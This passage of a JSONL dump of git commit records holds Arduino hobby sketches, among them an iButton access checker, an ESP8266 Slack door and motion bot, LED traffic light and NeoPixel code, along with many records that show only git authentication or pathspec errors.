file\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4343ae9b6cae43ffa8056a536862955e69e0e00f","subject":"Edited Particle example to send data in units of G forces","message":"Edited Particle example to send data in units of G forces\n","repos":"osisoft\/OMF-Samples,osisoft\/OMF-Samples,osisoft\/OMF-Samples,osisoft\/OMF-Samples,osisoft\/OMF-Samples,osisoft\/OMF-Samples,osisoft\/OMF-Samples,osisoft\/OMF-Samples","old_file":"OSIsoft Cloud Services\/Particle Photon\/SendOMFDataToOCS.ino","new_file":"OSIsoft Cloud Services\/Particle Photon\/SendOMFDataToOCS.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/osisoft\/OMF-Samples.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"220f16dcceb256f2d0eb443380ee4d0fa209164e","subject":"Adding an example of iButton (DS1990A) handling. Demo of Cosa OWI device driver.","message":"Adding an example of iButton (DS1990A) handling. Demo of Cosa OWI device driver.\n","repos":"jeditekunum\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,SinishaDjukic\/Meshwork,kc9jud\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,rrobinet\/Cosa,SinishaDjukic\/Meshwork,rrobinet\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,dansut\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,SinishaDjukic\/Meshwork","old_file":"examples\/OWI\/CosaDS1990A\/CosaDS1990A.ino","new_file":"examples\/OWI\/CosaDS1990A\/CosaDS1990A.ino","new_contents":"\/**\n * @file CosaDS1990A.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2012-2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Simple iButton reader and authorization checker.\n *\n * @section Extensions\n * Move key table to EEPROM. Allow update with a master key.\n * Presenting the master key will add a new key\/remove an old key.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Board.hh\"\n#include \"Cosa\/OWI.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Watchdog.hh\"\n\n\/\/ Use the builtin led to signal valid\/invalid key\nOutputPin ledPin(Board::LED);\n\n\/\/ One-wire pin\n#if defined(__ARDUINO_TINY__)\nOWI owi(Board::D1);\n#else\nOWI owi(Board::D7);\n#endif\n\n\/\/ Table with valid keys (8 bytes per entry)\nuint8_t KEY[] PROGMEM = {\n 0x01, 0x23, 0x81, 0xa3, 0x09, 0x00, 0x00, 0x7b,\n 0x01, 0x29, 0x01, 0x27, 0x09, 0x00, 0x00, 0xa8,\n 0x01, 0x26, 0xd9, 0x3e, 0x09, 0x00, 0x00, 0x47\n};\n\nvoid setup()\n{\n \/\/ Initiate UART as trace output\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaDS1990A: started\"));\n\n \/\/ Initiate the watchdog for sleep\n Watchdog::begin();\n}\n\nvoid loop()\n{\n \/\/ Take a nap\n SLEEP(1);\n\n \/\/ Check if a key was connected\n OWI::Driver dev(&owi);\n if (!dev.read_rom()) return;\n\n \/\/ Check if it is an authorized key. Turn on led for 5 seconds\n uint8_t* rom = dev.get_rom();\n for (uint8_t i = 0; i < sizeof(KEY); i += OWI::ROM_MAX) {\n if (!memcmp_P(rom, &KEY[i], OWI::ROM_MAX)) {\n trace << dev << PSTR(\":AUTHORIZED KEY\") << endl;\n ledPin.on();\n SLEEP(5);\n ledPin.off();\n return;\n }\n }\n\n \/\/ Otherwise it is an illegal key. Flash led for 5 seconds\n trace << dev << PSTR(\":ILLEGAL KEY\") << endl;\n for (uint8_t i = 0; i < 10; i++) {\n ledPin.on();\n MSLEEP(250);\n ledPin.off();\n MSLEEP(250);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/OWI\/CosaDS1990A\/CosaDS1990A.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"023dba82ab2b91e1a4cfd9e88608a1e6e7b84023","subject":"door + pir","message":"door + pir\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_85-doorbot2\/_85-doorbot2.ino","new_file":"_85-doorbot2\/_85-doorbot2.ino","new_contents":"\/\/ slackbot testing using https:\/\/github.com\/urish\/arduino-slack-bot\n\/**\n Arduino Real-Time Slack Bot\n Copyright (C) 2016, Uri Shaked.\n Licensed under the MIT License\n*\/\n\n\/*\n modified by chaeplin @ gmail.com\n*\/\n#include <time.h>\n#include <Arduino.h>\n#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include <ESP8266HTTPClient.h>\n#include <WebSocketsClient.h>\n#include <ArduinoJson.h>\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n#include \"\/usr\/local\/src\/apha_setting.h\"\n#include \"\/usr\/local\/src\/slack_door_setting.h\"\n\nconst char* api_fingerprint = \"C1 0D 53 49 D2 3E E5 2B A2 61 D5 9E 6F 99 0D 3D FD 8B B2 B3\";\n\n#define DOOR_PIN 14\n#define PIR_PIN 12\n#define LEDOUT_PIN 2\n\nWiFiClientSecure sslclient;\nWebSocketsClient webSocket;\n\nlong nextCmdId = 1;\nbool connected = false;\nunsigned long lastPing = 0;\n\nbool door_status;\nvolatile bool bdoor_isr;\nvolatile uint32_t door_interuptCount = 0;\n\nbool pir_status;\nvolatile bool bpir_isr;\nvolatile uint32_t pir_interuptCount = 0;\n\nvoid ICACHE_RAM_ATTR door_isr() \n{\n if (bdoor_isr == false) {\n door_interuptCount++;\n bdoor_isr = true;\n }\n}\n\nvoid ICACHE_RAM_ATTR pir_isr() \n{\n if (bpir_isr == false) {\n pir_interuptCount++;\n bpir_isr = true;\n }\n}\n\n\nvoid send_door_Check()\n{\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"message\";\n root[\"id\"] = nextCmdId++;\n root[\"channel\"] = SLACK_CHANNEL;\n\n String msg = \"door status : \";\n if (door_status) {\n msg += \"open\";\n } else {\n msg += \"closed\";\n }\n\n root[\"text\"] = msg.c_str();\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\n\nvoid send_pir_check()\n{\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"message\";\n root[\"id\"] = nextCmdId++;\n root[\"channel\"] = SLACK_CHANNEL;\n\n String msg = \"pir status : \";\n if (pir_status) {\n msg += \"detected\";\n } else {\n msg += \"not detected\";\n }\n\n root[\"text\"] = msg.c_str();\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\n\n\/**\n Sends a ping message to Slack. Call this function immediately after establishing\n the WebSocket connection, and then every 5 seconds to keep the connection alive.\n*\/\nvoid sendPing()\n{\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"ping\";\n root[\"id\"] = nextCmdId++;\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\nvoid sendHello()\n{\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"message\";\n root[\"id\"] = nextCmdId++;\n root[\"channel\"] = SLACK_CHANNEL;\n root[\"text\"] = \"Hello world\";\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\n\nvoid ICACHE_RAM_ATTR processSlackMessage(String receivedpayload)\n{\n char json[] = \"{\\\"type\\\":\\\"message\\\",\\\"channel\\\":\\\"XXXXXXXX\\\",\\\"user\\\":\\\"XXXXXXXX\\\",\\\"client_msg_id\\\":\\\"BBA0F81E-8DF6-46C9-8DB7-F0ACF11E1C5E\\\",\\\"event_ts\\\":\\\"1522027419.000121\\\"\\\"text\\\":\\\"xxxxxxxxxxxx\\\",\\\"ts\\\":\\\"1491047008.621282\\\",\\\"source_team\\\":\\\"XXXXXXXX\\\",\\\"team\\\":\\\"XXXXXXXX\\\"}\";\n receivedpayload.toCharArray(json, 1204);\n StaticJsonBuffer<1024> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(json);\n\n if (!root.success()) {\n Serial.println(\"root failed\");\n return;\n }\n if (root.containsKey(\"text\"))\n {\n const char* text = root[\"text\"];\n Serial.printf(\"[Processing] text: %s\\n\", text);\n\n if (String(text) == \"check\")\n {\n send_door_Check();\n send_pir_check();\n }\n\n }\n}\n\n\/**\n Called on each web socket event. Handles disconnection, and also\n incoming messages from slack.\n*\/\nvoid webSocketEvent(WStype_t type, uint8_t *payload, size_t len)\n{\n switch (type) {\n case WStype_DISCONNECTED:\n Serial.printf(\"[WebSocket] Disconnected :-( \\n\");\n connected = false;\n break;\n\n case WStype_CONNECTED:\n Serial.printf(\"[WebSocket] Connected to: %s\\n\", payload);\n sendPing();\n webSocket.loop();\n sendHello();\n break;\n\n case WStype_TEXT:\n Serial.printf(\"[WebSocket] Message: %s\\n\", payload);\n\n String receivedpayload;\n for (int i = 0; i < len; i++)\n {\n receivedpayload += (char)payload[i];\n }\n if (receivedpayload.startsWith(\"{\\\"type\\\":\\\"message\"))\n {\n if (receivedpayload.indexOf(SLACK_CHANNEL) != -1 &&\n receivedpayload.indexOf(SLACK_USER) != -1 &&\n receivedpayload.indexOf(SLACK_TEAM) != -1 )\n {\n processSlackMessage(receivedpayload);\n }\n }\n break;\n }\n}\n\n\/**\n Establishes a bot connection to Slack:\n 1. Performs a REST call to get the WebSocket URL\n 2. Conencts the WebSocket\n Returns true if the connection was established successfully.\n*\/\nbool connectToSlack()\n{\n \/\/ Step 1: Find WebSocket address via RTM API (https:\/\/api.slack.com\/methods\/rtm.start)\n HTTPClient http;\n String uri_to_post = \"\/api\/rtm.start?token=\";\n uri_to_post += SLACK_BOT_TOKEN;\n\n http.begin(\"slack.com\", 443, uri_to_post, api_fingerprint);\n int httpCode = http.GET();\n if (httpCode != HTTP_CODE_OK)\n {\n Serial.printf(\"HTTP GET failed with code %d\\n\", httpCode);\n return false;\n }\n\n WiFiClient *client = http.getStreamPtr();\n client->find(\"wss:\\\\\/\\\\\/\");\n String host = client->readStringUntil('\\\\');\n String path = client->readStringUntil('\"');\n path.replace(\"\\\\\/\", \"\/\");\n\n \/\/ Step 2: Open WebSocket connection and register event handler\n Serial.println(\"WebSocket Host=\" + host + \" Path=\" + path);\n webSocket.beginSSL(host, 443, path, \"\", \"\");\n webSocket.onEvent(webSocketEvent);\n return true;\n}\n\nvoid get_ntptime() \n{\n Serial.println(\"Setting time using SNTP\");\n configTime(9 * 3600, 0, \"pool.ntp.org\", \"time.nist.gov\");\n time_t now = time(nullptr);\n while (now < 5000) {\n delay(500);\n Serial.print(\".\");\n now = time(nullptr);\n Serial.println(now);\n }\n delay(500);\n Serial.println(\"\");\n struct tm timeinfo;\n gmtime_r(&now, &timeinfo);\n Serial.print(\"Current time: \");\n Serial.print(asctime(&timeinfo));\n}\n\nvoid wifi_connect() \n{\n Serial.print(\"[WIFI] start millis : \");\n Serial.println(millis());\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n }\n Serial.print(\"[WIFI] connected millis : \");\n Serial.print(millis());\n Serial.print(\" - \");\n Serial.println(WiFi.localIP());\n}\n\nvoid setup() \n{\n Serial.begin(115200);\n \/\/Serial.setDebugOutput(true);\n\n pinMode(PIR_PIN, INPUT);\n pinMode(DOOR_PIN, INPUT_PULLUP);\n pinMode(LEDOUT_PIN, OUTPUT);\n\n bdoor_isr = false;\n attachInterrupt(DOOR_PIN, door_isr, CHANGE);\n attachInterrupt(PIR_PIN, pir_isr, RISING);\n\n wifi_connect();\n get_ntptime();\n\n}\n\n\n\/**\n Sends a ping every 5 seconds, and handles reconnections\n*\/\nvoid loop()\n{\n if (WiFi.status() == WL_CONNECTED) {\n webSocket.loop();\n\n if (bdoor_isr) {\n door_status = digitalRead(DOOR_PIN);\n Serial.print(\"[door_status] ---> bdoor_isr detected : \");\n Serial.print(door_status);\n Serial.print(\" door_interuptCount : \");\n Serial.println(door_interuptCount);\n send_door_Check();\n bdoor_isr = false;\n }\n\n if (bpir_isr) {\n pir_status = digitalRead(PIR_PIN);\n Serial.print(\"[pir_status] ---> bpir_isr detected : \");\n Serial.print(pir_status);\n Serial.print(\" pir_interuptCount : \");\n Serial.println(pir_interuptCount);\n send_pir_check();\n bpir_isr = false;\n }\n\n if (connected) {\n digitalWrite(LEDOUT_PIN, HIGH);\n \/\/ Send ping every 5 seconds, to keep the connection alive\n if (millis() - lastPing > 5000)\n {\n sendPing();\n lastPing = millis();\n }\n }\n else\n {\n \/\/ Try to connect \/ reconnect to slack\n connected = connectToSlack();\n if (!connected)\n {\n digitalWrite(LEDOUT_PIN, LOW);\n delay(500);\n }\n }\n } else {\n wifi_connect();\n get_ntptime();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_85-doorbot2\/_85-doorbot2.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f7bd1581a5c68c0dc4484827433e6e5cd55323bb","subject":"Create pixelReset.ino","message":"Create pixelReset.ino\n\nUsed to clear the pixels for testing\/debugging\/preparing for new code. This may not clear all the pixels on the first upload, if so just re-upload the sketch until all pixels are clear","repos":"teddylambert\/mHubNeopixels","old_file":"pixelReset.ino","new_file":"pixelReset.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define PIN 6\n#define N_LEDS 670\nint counter = 0;\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(N_LEDS, PIN, NEO_RGB + NEO_KHZ800);\n\nvoid setup() {\n strip.begin();\n strip.show();\n while(counter < 50) { \/\/definitely overkill, but works\n for (uint16_t i = 0; i < N_LEDS; i++) {\n strip.setPixelColor(i, 0, 0, 0);\n }\n counter++;\n }\n strip.show();\n}\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pixelReset.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6a87cb16e5fa86d0f9745e8609699406924b4753","subject":"Changed version number.","message":"Changed version number.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c6ef99cb349e0e02b954db0f2cc1073103948ae2","subject":"Add ethernet support to firmware","message":"Add ethernet support to firmware\n","repos":"qiwi\/parking","old_file":"arduino\/parking.ino","new_file":"arduino\/parking.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/qiwi\/parking.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e8ada75339accf19964c023c53e83d9413064019","subject":"added distance sensor example","message":"added distance sensor example\n","repos":"garmstrong456\/TEC-Bot-Zumo-Cornell,garmstrong456\/TEC-Bot-Zumo-Cornell","old_file":"daily code\/Day 10\/Obstacle_Avoidance\/Obstacle_Avoidance.ino","new_file":"daily code\/Day 10\/Obstacle_Avoidance\/Obstacle_Avoidance.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'daily' did not match any file(s) known to git\nerror: pathspec 'code\/Day' did not match any file(s) known to git\nerror: pathspec '10\/Obstacle_Avoidance\/Obstacle_Avoidance.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a5e4ed1b645a7e5753499178895ae92cf1af1547","subject":"Update atsd_mqtt_example.ino","message":"Update atsd_mqtt_example.ino","repos":"axibase\/arduino,axibase\/arduino,axibase\/arduino","old_file":"dataTransmission\/atsd_mqtt_example\/atsd_mqtt_example.ino","new_file":"dataTransmission\/atsd_mqtt_example\/atsd_mqtt_example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/axibase\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"147a17c76fc694fe60b3c3b2d7266d527cace52e","subject":"Clearing buffer after algo","message":"Clearing buffer after algo\n","repos":"OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK","old_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Devide_Algo_id\/Devide_Algo_id.ino","new_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Devide_Algo_id\/Devide_Algo_id.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartKitchen-Emdebbed' did not match any file(s) known to git\nerror: pathspec 'System\/Software\/Arduino\/Devide_Algo_id\/Devide_Algo_id.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"340939c6a266c0df76a19b195a33bda164ba6d2c","subject":"Project 3","message":"Project 3\n","repos":"andpei\/arduino-sketchbook,andpei\/arduino-sketchbook","old_file":"Project_3_LED_Traffic_Light\/Project_3_LED_Traffic_Light.ino","new_file":"Project_3_LED_Traffic_Light\/Project_3_LED_Traffic_Light.ino","new_contents":"\nint ledCarRed = 12;\nint ledCarYellow = 11;\nint ledCarGreen = 10;\nint ledPedestrianRed = 9;\nint ledPedestrianGreen = 8;\nint inputPin = 6;\nint inputValue = 0;\n\nvoid setup() {\n pinMode(ledCarRed, OUTPUT);\n pinMode(ledCarYellow, OUTPUT);\n pinMode(ledCarGreen, OUTPUT);\n pinMode(ledPedestrianRed, OUTPUT);\n pinMode(ledPedestrianGreen, OUTPUT);\n pinMode(inputPin, INPUT);\n}\n\nvoid loop() {\n inputValue = digitalRead(inputPin);\n if (inputValue == LOW) {\n delay(1000);\n \/\/ ledCarYellow\n digitalWrite(ledCarYellow, HIGH);\n digitalWrite(ledCarGreen, LOW);\n delay(1000);\n \/\/ ledCarRed\n digitalWrite(ledCarYellow, LOW);\n digitalWrite(ledCarRed, HIGH);\n delay(1000);\n \/\/ ledPedestrianGreen\n digitalWrite(ledPedestrianRed, LOW);\n digitalWrite(ledPedestrianGreen, HIGH);\n delay(5000);\n \/\/ blink\n digitalWrite(ledPedestrianGreen, LOW);\n delay(200);\n digitalWrite(ledPedestrianGreen, HIGH);\n delay(200);\n digitalWrite(ledPedestrianGreen, LOW);\n delay(200);\n digitalWrite(ledPedestrianGreen, HIGH);\n delay(200);\n digitalWrite(ledPedestrianGreen, LOW);\n delay(200);\n digitalWrite(ledPedestrianGreen, HIGH);\n delay(200);\n \/\/ ledPedestrianRed\n digitalWrite(ledPedestrianRed, HIGH);\n digitalWrite(ledPedestrianGreen, LOW);\n delay(1000);\n \/\/ ledCarYellow\n digitalWrite(ledCarYellow, HIGH);\n delay(1000);\n \/\/ ledCarGreen\n digitalWrite(ledCarYellow, LOW);\n digitalWrite(ledCarGreen, HIGH);\n } else {\n \/\/ ledCarGreen\n digitalWrite(ledCarRed, LOW);\n digitalWrite(ledCarYellow, LOW);\n digitalWrite(ledCarGreen, HIGH);\n \/\/ ledPedestrianRed\n digitalWrite(ledPedestrianRed, HIGH);\n digitalWrite(ledPedestrianGreen, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project_3_LED_Traffic_Light\/Project_3_LED_Traffic_Light.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fa041dd68a35ca988797a2dd1553c88852b37055","subject":"modified hue\/sat code","message":"modified hue\/sat code\n","repos":"gatechipdl\/GameOfLight,gatechipdl\/GameOfLight,gatechipdl\/GameOfLight,gatechipdl\/GameOfLight","old_file":"firmware\/LO_mpr121_and_led_test_esp8266_cz\/LO_mpr121_and_led_test_esp8266_cz.ino","new_file":"firmware\/LO_mpr121_and_led_test_esp8266_cz\/LO_mpr121_and_led_test_esp8266_cz.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <MPR121.h>\n#include <Wire.h>\n\n#define LED_PIN 4\n#define baudRate 57600\n\nint const STATION_SEGMENTS = 5;\nint LED_COUNT = 45;\nint SEGMENT_LED_COUNT = 9;\nfloat STATION_HUE[STATION_SEGMENTS];\nfloat STATION_SAT[STATION_SEGMENTS];\nfloat HUE_STEP = 0.002;\nfloat SAT_STEP_MAG = 0.003;\nfloat SAT_STEP[STATION_SEGMENTS];\nfloat BRI_STEP = 0.03;\nfloat BRI_STEP2 = 0.007;\nfloat STATION_BRI[STATION_SEGMENTS];\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(45, LED_PIN, NEO_GRB + NEO_KHZ400);\n\n\/\/ this is the touch threshold - setting it low makes it more like a proximity trigger\n\/\/ default value is 40 for touch\nconst int touchThreshold = 40;\n\/\/ this is the release threshold - must ALWAYS be smaller than the touch threshold\n\/\/ default value is 20 for touch\nconst int releaseThreshold = 20;\nint cap_dev[12];\nint cap_threshold = 2;\nint cap_sum = 0;\n\n#define PIN_SDA 14\n#define PIN_SCL 5\n\n\nvoid setup() {\n Serial.begin(baudRate);\n\n pinMode(PIN_SDA, OUTPUT);\n pinMode(PIN_SCL, OUTPUT);\n Wire.begin(PIN_SDA, PIN_SCL); \/\/SDA SCL\n Wire.setClockStretchLimit(1500); \/\/https:\/\/github.com\/esp8266\/Arduino\/issues\/2607\n \/\/Wire.setClock(100000L);\n delay(100);\n\n \/\/ \/\/ 0x5C is the MPR121 I2C address on the Bare Touch Board\n \/\/ if (!MPR121.begin(0x5A)) {\n \/\/ Serial.println(\"error setting up MPR121\");\n \/\/ switch (MPR121.getError()) {\n \/\/ case NO_ERROR:\n \/\/ Serial.println(\"no error\");\n \/\/ break;\n \/\/ case ADDRESS_UNKNOWN:\n \/\/ Serial.println(\"incorrect address\");\n \/\/ break;\n \/\/ case READBACK_FAIL:\n \/\/ Serial.println(\"readback failure\");\n \/\/ break;\n \/\/ case OVERCURRENT_FLAG:\n \/\/ Serial.println(\"overcurrent on REXT pin\");\n \/\/ break;\n \/\/ case OUT_OF_RANGE:\n \/\/ Serial.println(\"electrode out of range\");\n \/\/ break;\n \/\/ case NOT_INITED:\n \/\/ Serial.println(\"not initialised\");\n \/\/ break;\n \/\/ default:\n \/\/ Serial.println(\"unknown error\");\n \/\/ break;\n \/\/ }\n \/\/ while (1);\n \/\/ }\n\n\n \/\/ 0x5C is the MPR121 I2C address on the Bare Touch Board\n while (!MPR121.begin(0x5A)) {\n Serial.println(\"error setting up MPR121\");\n switch (MPR121.getError()) {\n case NO_ERROR:\n Serial.println(\"no error\");\n break;\n case ADDRESS_UNKNOWN:\n Serial.println(\"incorrect address\");\n break;\n case READBACK_FAIL:\n Serial.println(\"readback failure\");\n break;\n case OVERCURRENT_FLAG:\n Serial.println(\"overcurrent on REXT pin\");\n break;\n case OUT_OF_RANGE:\n Serial.println(\"electrode out of range\");\n break;\n case NOT_INITED:\n Serial.println(\"not initialised\");\n break;\n default:\n Serial.println(\"unknown error\");\n break;\n }\n delay(1000);\n }\n\n MPR121.setTouchThreshold(touchThreshold);\n MPR121.setReleaseThreshold(releaseThreshold);\n\n for (uint8_t i = 0; i < 12; i++) {\n cap_dev[i] = 0;\n }\n\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n for (int i = 0; i < STATION_SEGMENTS; i++) {\n STATION_HUE[i] = 0.5;\n STATION_SAT[i] = 1.0;\n STATION_BRI[i] = 1.0;\n SAT_STEP[i] = SAT_STEP_MAG;\n }\n updateStation();\n}\n\nvoid loop() {\n readRawInputs();\n\n if (cap_dev[11] < cap_threshold) {\n for (int j = 0; j < STATION_SEGMENTS; j++) {\n if (STATION_BRI[j] < 1.0) {\n STATION_BRI[j] = STATION_BRI[j] + BRI_STEP2;\n STATION_BRI[j] = STATION_BRI[j] >= 1.0 ? 1.0 : STATION_BRI[j];\n break;\n }\n }\n updateStation();\n return;\n } else {\n for (uint8_t i = 0; i < 12; i++) {\n if (cap_dev[i] > cap_threshold) {\n int bri_or_sat = i \/ 5;\n int s = i - 5;\n switch (bri_or_sat) {\n case 0:\n STATION_HUE[i] = (STATION_HUE[i] + HUE_STEP);\n STATION_HUE[i] = STATION_HUE[i] > 1.0 ? STATION_HUE[i] - 1.0 : STATION_HUE[i];\n break;\n case 1:\n STATION_SAT[s] = (STATION_SAT[s] + SAT_STEP[s]);\n SAT_STEP[s] = STATION_SAT[s] >= 1.0 ? SAT_STEP[s] * -1 : STATION_SAT[s] <= 0.0 ? SAT_STEP[s] * -1 : SAT_STEP[s];\n STATION_SAT[s] = STATION_SAT[s] >= 1.0 ? 1.0 : STATION_SAT[s] <= 0.0 ? 0.0 : STATION_SAT[s];\n break;\n default: \/\/case 2\n for (int j = STATION_SEGMENTS - 1; j >= 0; j--) {\n if (STATION_BRI[j] > 0.0) {\n STATION_BRI[j] = STATION_BRI[j] - BRI_STEP;\n STATION_BRI[j] = STATION_BRI[j] <= 0.0 ? 0.0 : STATION_BRI[j];\n break;\n } else {\n if (j == 0) {\n for (int k = 0; k < STATION_SEGMENTS; k++) {\n STATION_SAT[k] == 1.0;\n }\n }\n }\n }\n break;\n }\n }\n }\n }\n\n updateStation();\n}\n\nvoid updateStation() {\n for (int i = 0; i < STATION_SEGMENTS; i++) {\n uint32_t STATION_COLOR = HSV_to_RGB(i);\n for (int j = 0; j < SEGMENT_LED_COUNT; j++) {\n strip.setPixelColor(i * SEGMENT_LED_COUNT + j, STATION_COLOR);\n }\n }\n strip.show();\n}\n\nuint32_t HSV_to_RGB(int index) {\n float hue = STATION_HUE[index];\n float sat = sqrt(STATION_SAT[index]);\n float bri = STATION_BRI[index];\n hue = hue * 6;\n int i = floor(hue);\n float v = bri;\n float f = hue - i;\n float p = bri * (1 - sat);\n float q = bri * (1 - sat * f);\n float t = bri * (1 - sat * (1 - f));\n byte r, g, b;\n switch (i) {\n case 0:\n r = round(255 * v);\n g = round(255 * t);\n b = round(255 * p);\n break;\n case 1:\n r = round(255 * q);\n g = round(255 * v);\n b = round(255 * p);\n break;\n case 2:\n r = round(255 * p);\n g = round(255 * v);\n b = round(255 * t);\n break;\n case 3:\n r = round(255 * p);\n g = round(255 * q);\n b = round(255 * v);\n break;\n case 4:\n r = round(255 * t);\n g = round(255 * p);\n b = round(255 * v);\n break;\n default: \/\/ case 5:\n r = round(255 * v);\n g = round(255 * p);\n b = round(255 * q);\n }\n return strip.Color(r, g, b);\n}\n\nvoid readRawInputs() {\n int i;\n\n if (MPR121.touchStatusChanged()) MPR121.updateTouchData();\n MPR121.updateBaselineData();\n MPR121.updateFilteredData();\n cap_sum = 0;\n for (i = 0; i < 12; i++) { \/\/ 13 value pairs\n cap_dev[i] = MPR121.getBaselineData(i) - MPR121.getFilteredData(i);\n Serial.print(cap_dev[i]);\n Serial.print(\" \");\n if (cap_dev[i] > cap_threshold) {\n cap_sum++;\n }\n }\n Serial.println();\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 